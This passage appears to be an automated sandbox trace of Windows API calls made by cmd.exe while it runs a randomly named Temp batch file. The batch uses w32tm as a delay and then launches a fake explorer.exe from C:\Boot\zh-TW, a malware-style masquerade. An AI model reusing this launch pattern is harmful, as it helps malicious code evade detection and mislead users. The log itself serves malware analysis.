dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb5e00fec58 | out: lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessInformation=0xb5e00fec58*(hProcess=0x90, hThread=0x8c, dwProcessId=0xc60, dwThreadId=0xc64)) returned 1 [0133.077] CloseHandle (hObject=0x8c) returned 1 [0133.077] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0133.078] GetProcessHeap () returned 0x1b709360000 [0133.078] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936a6f0) returned 1 [0133.078] GetEnvironmentStringsW () returned 0x1b70937a2d0* [0133.078] GetProcessHeap () returned 0x1b709360000 [0133.078] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xa9c) returned 0x1b70936a6f0 [0133.078] memcpy (in: _Dst=0x1b70936a6f0, _Src=0x1b70937a2d0, _Size=0xa9c | out: _Dst=0x1b70936a6f0) returned 0x1b70936a6f0 [0133.078] FreeEnvironmentStringsA (penv="=") returned 1 [0133.078] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0138.302] GetExitCodeProcess (in: hProcess=0x90, lpExitCode=0xb5e00febd8 | out: lpExitCode=0xb5e00febd8*=0x0) returned 1 [0138.302] CloseHandle (hObject=0x90) returned 1 [0138.302] _vsnwprintf (in: _Buffer=0xb5e00fed98, _BufferCount=0x13, _Format="%08X", _ArgList=0xb5e00febe8 | out: _Buffer="00000000") returned 8 [0138.302] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0138.302] GetProcessHeap () returned 0x1b709360000 [0138.303] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936a6f0) returned 1 [0138.303] GetEnvironmentStringsW () returned 0x1b70936a6f0* [0138.303] GetProcessHeap () returned 0x1b709360000 [0138.303] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xac2) returned 0x1b70936b1c0 [0138.303] memcpy (in: _Dst=0x1b70936b1c0, _Src=0x1b70936a6f0, _Size=0xac2 | out: _Dst=0x1b70936b1c0) returned 0x1b70936b1c0 [0138.303] FreeEnvironmentStringsA (penv="=") returned 1 [0138.303] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0138.303] GetProcessHeap () returned 0x1b709360000 [0138.304] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936b1c0) returned 1 [0138.304] GetEnvironmentStringsW () returned 0x1b70936a6f0* [0138.304] GetProcessHeap () returned 0x1b709360000 [0138.304] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xac2) returned 0x1b70936b1c0 [0138.304] memcpy (in: _Dst=0x1b70936b1c0, _Src=0x1b70936a6f0, _Size=0xac2 | out: _Dst=0x1b70936b1c0) returned 0x1b70936b1c0 [0138.304] FreeEnvironmentStringsA (penv="=") returned 1 [0138.304] GetProcessHeap () returned 0x1b709360000 [0138.304] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709377330) returned 1 [0138.304] DeleteProcThreadAttributeList (in: lpAttributeList=0xb5e00fed50 | out: lpAttributeList=0xb5e00fed50) [0138.304] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0138.304] _close (_FileHandle=3) returned 0 [0138.304] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.304] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0138.305] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.305] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff7428f960c | out: lpMode=0x7ff7428f960c) returned 1 [0138.305] _get_osfhandle (_FileHandle=0) returned 0x20 [0138.305] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff7428f9608 | out: lpMode=0x7ff7428f9608) returned 1 [0138.306] SetConsoleInputExeNameW () returned 0x1 [0138.306] GetConsoleOutputCP () returned 0x1b5 [0138.306] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7428f9660 | out: lpCPInfo=0x7ff7428f9660) returned 1 [0138.306] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.306] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb5e00ff500, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0138.306] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0138.306] _get_osfhandle (_FileHandle=3) returned 0x88 [0138.307] SetFilePointer (in: hFile=0x88, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0138.307] GetProcessHeap () returned 0x1b709360000 [0138.307] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379cf0) returned 1 [0138.307] GetProcessHeap () returned 0x1b709360000 [0138.307] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379b50) returned 1 [0138.307] GetProcessHeap () returned 0x1b709360000 [0138.308] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093799b0) returned 1 [0138.308] GetProcessHeap () returned 0x1b709360000 [0138.308] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379940) returned 1 [0138.308] GetProcessHeap () returned 0x1b709360000 [0138.308] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379890) returned 1 [0138.308] GetProcessHeap () returned 0x1b709360000 [0138.309] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379670) returned 1 [0138.309] GetProcessHeap () returned 0x1b709360000 [0138.309] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367af0) returned 1 [0138.309] GetProcessHeap () returned 0x1b709360000 [0138.310] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093795e0) returned 1 [0138.310] GetProcessHeap () returned 0x1b709360000 [0138.310] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379440) returned 1 [0138.310] GetProcessHeap () returned 0x1b709360000 [0138.310] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093792a0) returned 1 [0138.310] GetProcessHeap () returned 0x1b709360000 [0138.310] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379230) returned 1 [0138.310] GetProcessHeap () returned 0x1b709360000 [0138.310] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093772f0) returned 1 [0138.310] GetProcessHeap () returned 0x1b709360000 [0138.311] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709378e10) returned 1 [0138.311] GetProcessHeap () returned 0x1b709360000 [0138.311] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379190) returned 1 [0138.311] GetProcessHeap () returned 0x1b709360000 [0138.311] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367a00) returned 1 [0138.311] GetProcessHeap () returned 0x1b709360000 [0138.311] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093790d0) returned 1 [0138.312] _get_osfhandle (_FileHandle=3) returned 0x88 [0138.312] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0138.312] ReadFile (in: hFile=0x88, lpBuffer=0x7ff742905b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xb5e00ff4c0, lpOverlapped=0x0 | out: lpBuffer=0x7ff742905b80*, lpNumberOfBytesRead=0xb5e00ff4c0*=0x6e, lpOverlapped=0x0) returned 1 [0138.312] SetFilePointer (in: hFile=0x88, lDistanceToMove=127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f [0138.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="start \"\" \"C:\\Boot\\zh-TW\\explorer.exe\"\r\n", cbMultiByte=39, lpWideCharStr=0x7ff7428f09e0, cchWideChar=8191 | out: lpWideCharStr="start \"\" \"C:\\Boot\\zh-TW\\explorer.exe\"\r\nperiod:5 /dataonly /samples:2 1>nul\r\n") returned 39 [0138.312] _get_osfhandle (_FileHandle=3) returned 0x88 [0138.312] GetFileType (hFile=0x88) returned 0x1 [0138.312] _get_osfhandle (_FileHandle=3) returned 0x88 [0138.312] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7f [0138.312] GetProcessHeap () returned 0x1b709360000 [0138.312] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70937ada0 [0138.313] GetProcessHeap () returned 0x1b709360000 [0138.313] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70937ada0) returned 1 [0138.313] _wcsicmp (_String1="start", _String2=")") returned 74 [0138.313] _wcsicmp (_String1="FOR", _String2="start") returned -13 [0138.313] _wcsicmp (_String1="FOR/?", _String2="start") returned -13 [0138.313] _wcsicmp (_String1="IF", _String2="start") returned -10 [0138.314] _wcsicmp (_String1="IF/?", _String2="start") returned -10 [0138.314] _wcsicmp (_String1="REM", _String2="start") returned -1 [0138.314] _wcsicmp (_String1="REM/?", _String2="start") returned -1 [0138.314] GetProcessHeap () returned 0x1b709360000 [0138.314] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b709379f20 [0138.314] GetProcessHeap () returned 0x1b709360000 [0138.314] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x1c) returned 0x1b709367a00 [0138.315] GetProcessHeap () returned 0x1b709360000 [0138.315] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x52) returned 0x1b7093778b0 [0138.315] _tell (_FileHandle=3) returned 127 [0138.315] _close (_FileHandle=3) returned 0 [0138.315] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0138.315] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0138.316] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0138.316] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0138.316] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0138.316] _wcsicmp (_String1="start", _String2="CD") returned 16 [0138.316] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0138.316] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0138.316] _wcsicmp (_String1="start", _String2="REN") returned 1 [0138.316] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0138.316] _wcsicmp (_String1="start", _String2="SET") returned 15 [0138.316] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0138.316] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0138.316] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0138.316] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0138.316] _wcsicmp (_String1="start", _String2="MD") returned 6 [0138.316] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0138.316] _wcsicmp (_String1="start", _String2="RD") returned 1 [0138.316] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0138.316] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0138.316] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0138.316] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0138.316] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0138.316] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0138.316] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0138.316] _wcsicmp (_String1="start", _String2="VER") returned -3 [0138.316] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0138.316] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0138.316] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0138.316] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0138.316] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0138.317] _wcsicmp (_String1="start", _String2="START") returned 0 [0138.317] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ff2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0138.317] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0138.317] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0138.317] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0138.317] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0138.317] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0138.317] _wcsicmp (_String1="start", _String2="CD") returned 16 [0138.317] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0138.317] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0138.317] _wcsicmp (_String1="start", _String2="REN") returned 1 [0138.317] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0138.317] _wcsicmp (_String1="start", _String2="SET") returned 15 [0138.317] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0138.317] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0138.317] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0138.317] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0138.317] _wcsicmp (_String1="start", _String2="MD") returned 6 [0138.318] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0138.318] _wcsicmp (_String1="start", _String2="RD") returned 1 [0138.318] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0138.318] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0138.318] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0138.318] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0138.318] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0138.318] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0138.318] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0138.318] _wcsicmp (_String1="start", _String2="VER") returned -3 [0138.318] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0138.318] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0138.318] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0138.318] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0138.318] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0138.318] _wcsicmp (_String1="start", _String2="START") returned 0 [0138.318] GetProcessHeap () returned 0x1b709360000 [0138.318] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x94) returned 0x1b709379fe0 [0138.318] GetProcessHeap () returned 0x1b709360000 [0138.318] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379fe0, Size=0x52) returned 0x1b709379fe0 [0138.318] GetProcessHeap () returned 0x1b709360000 [0138.318] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379fe0) returned 0x52 [0138.318] GetProcessHeap () returned 0x1b709360000 [0138.318] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x5e) returned 0x1b70937a050 [0138.319] GetStdHandle (nStdHandle=0xfffffff6) returned 0x20 [0138.319] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24 [0138.319] GetStdHandle (nStdHandle=0xfffffff4) returned 0x28 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="DIR") returned -1 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="ERASE") returned -2 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="DEL") returned -1 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="TYPE") returned -17 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="COPY") returned -53 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="CD") returned -42 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="CHDIR") returned -46 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="RENAME") returned -15 [0138.319] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="REN") returned -15 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="ECHO") returned -2 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="SET") returned -16 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="PAUSE") returned -13 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="DATE") returned -1 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="TIME") returned -17 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="PROMPT") returned -13 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="MD") returned -10 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="MKDIR") returned -10 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="RD") returned -15 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="RMDIR") returned -15 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="PATH") returned -13 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="GOTO") returned -4 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="SHIFT") returned -16 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="CLS") returned -50 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="CALL") returned -39 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="VERIFY") returned -19 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="VER") returned -19 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="VOL") returned -19 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="EXIT") returned -2 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="SETLOCAL") returned -16 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="ENDLOCAL") returned -2 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="TITLE") returned -17 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="START") returned -16 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="DPATH") returned -1 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="KEYS") returned -8 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="MOVE") returned -10 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="PUSHD") returned -13 [0138.320] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="POPD") returned -13 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="ASSOC") returned 2 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="FTYPE") returned -3 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="BREAK") returned 1 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="COLOR") returned -53 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="MKLINK") returned -10 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="FOR") returned -3 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="IF") returned -6 [0138.321] _wcsicmp (_String1="C:\\Boot\\zh-TW\\explorer.exe", _String2="REM") returned -15 [0138.321] _wcsnicmp (_String1="C:\\B", _String2="cmd ", _MaxCount=0x4) returned -51 [0138.321] GetProcessHeap () returned 0x1b709360000 [0138.321] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x420) returned 0x1b709365880 [0138.321] SetErrorMode (uMode=0x0) returned 0x0 [0138.321] SetErrorMode (uMode=0x1) returned 0x0 [0138.321] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\.", nBufferLength=0x208, lpBuffer=0x1b709365890, lpFilePart=0xb5e00e2790 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0xb5e00e2790*="zh-TW") returned 0xd [0138.321] SetErrorMode (uMode=0x0) returned 0x1 [0138.321] GetProcessHeap () returned 0x1b709360000 [0138.321] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709365880, Size=0x46) returned 0x1b709365880 [0138.321] GetProcessHeap () returned 0x1b709360000 [0138.321] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709365880) returned 0x46 [0138.321] NeedCurrentDirectoryForExePathW (ExeName="C:\\Boot\\zh-TW\\.") returned 1 [0138.321] GetProcessHeap () returned 0x1b709360000 [0138.321] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x32) returned 0x1b709378d90 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x50) returned 0x1b709377970 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709377970, Size=0x32) returned 0x1b709378990 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709378990) returned 0x32 [0138.322] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xe8) returned 0x1b7093658e0 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b7093658e0, Size=0x7e) returned 0x1b7093658e0 [0138.322] GetProcessHeap () returned 0x1b709360000 [0138.322] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b7093658e0) returned 0x7e [0138.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.322] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), fInfoLevelId=0x1, lpFindFileData=0xb5e00e2510, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00e2510) returned 0x1b7093779d0 [0138.322] FindClose (in: hFindFile=0x1b7093779d0 | out: hFindFile=0x1b7093779d0) returned 1 [0138.323] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0138.323] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0138.323] GetStartupInfoW (in: lpStartupInfo=0xb5e00e2b50 | out: lpStartupInfo=0xb5e00e2b50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0138.323] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xb5e00e2aa8 | out: lpAttributeList=0x0, lpSize=0xb5e00e2aa8) returned 0 [0138.323] GetLastError () returned 0x7a [0138.323] GetProcessHeap () returned 0x1b709360000 [0138.323] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x48) returned 0x1b709378700 [0138.323] InitializeProcThreadAttributeList (in: lpAttributeList=0x1b709378700, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xb5e00e2aa8 | out: lpAttributeList=0x1b709378700, lpSize=0xb5e00e2aa8) returned 1 [0138.323] UpdateProcThreadAttribute (in: lpAttributeList=0x1b709378700, dwFlags=0x0, Attribute=0x60001, lpValue=0xb5e00e2ab0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1b709378700, lpPreviousValue=0x0) returned 1 [0138.323] CreateProcessW (in: lpApplicationName="C:\\Boot\\zh-TW\\explorer.exe", lpCommandLine="\"C:\\Boot\\zh-TW\\explorer.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80410, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xb5e00e2ae0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x20, hStdOutput=0x24, hStdError=0x28), lpProcessInformation=0xb5e00e2ac0 | out: lpCommandLine="\"C:\\Boot\\zh-TW\\explorer.exe\" ", lpProcessInformation=0xb5e00e2ac0*(hProcess=0x90, hThread=0x88, dwProcessId=0x10c0, dwThreadId=0xd10)) returned 1 [0138.335] DeleteProcThreadAttributeList (in: lpAttributeList=0x1b709378700 | out: lpAttributeList=0x1b709378700) [0138.335] GetProcessHeap () returned 0x1b709360000 [0138.336] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709378700) returned 1 [0138.336] GetLastError () returned 0x0 [0138.336] ResumeThread (hThread=0x88) returned 0x0 [0138.336] CloseHandle (hObject=0x88) returned 1 [0138.336] CloseHandle (hObject=0x90) returned 1 [0138.336] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.336] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0138.418] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.418] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff7428f960c | out: lpMode=0x7ff7428f960c) returned 1 [0138.475] _get_osfhandle (_FileHandle=0) returned 0x20 [0138.475] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff7428f9608 | out: lpMode=0x7ff7428f9608) returned 1 [0138.563] SetConsoleInputExeNameW () returned 0x1 [0138.563] GetConsoleOutputCP () returned 0x1b5 [0138.648] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7428f9660 | out: lpCPInfo=0x7ff7428f9660) returned 1 [0138.648] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.751] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb5e00ff500, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0138.751] _open_osfhandle (_OSFileHandle=0x90, _Flags=8) returned 3 [0138.751] _get_osfhandle (_FileHandle=3) returned 0x90 [0138.751] SetFilePointer (in: hFile=0x90, lDistanceToMove=127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f [0138.752] GetProcessHeap () returned 0x1b709360000 [0138.752] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093658e0) returned 1 [0138.752] GetProcessHeap () returned 0x1b709360000 [0138.753] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709378990) returned 1 [0138.753] GetProcessHeap () returned 0x1b709360000 [0138.753] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709378d90) returned 1 [0138.753] GetProcessHeap () returned 0x1b709360000 [0138.753] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709365880) returned 1 [0138.753] GetProcessHeap () returned 0x1b709360000 [0138.754] RtlFreeHeap 